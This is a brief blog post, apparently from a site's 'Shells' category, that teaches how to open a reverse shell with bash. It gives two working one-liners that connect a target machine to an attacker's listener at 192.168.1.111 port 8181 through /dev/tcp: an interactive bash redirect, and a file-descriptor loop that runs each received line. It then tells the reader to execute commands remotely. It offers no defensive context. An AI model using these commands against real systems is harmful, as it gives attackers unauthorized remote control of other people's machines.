Reverse shell with bash

Assuming that the attacker’s machine ip address is 192.168.1.111 and the listening port is 8181.

Type in the target’s machine terminal

/bin/bash -i > /dev/tcp/192.168.1.111/8181 0<&1 2>&1

hit enter

or

exec 5<>/dev/tcp/192.168.1.111/8181

hit enter

cat <&5 | while read line; do $line 2>&5 >&5; done

hit enter

Choose one of the two ways and then go back to your attack machine and execute a command on the remote machine!

Categories: Shells Tags: , ,
%d bloggers like this: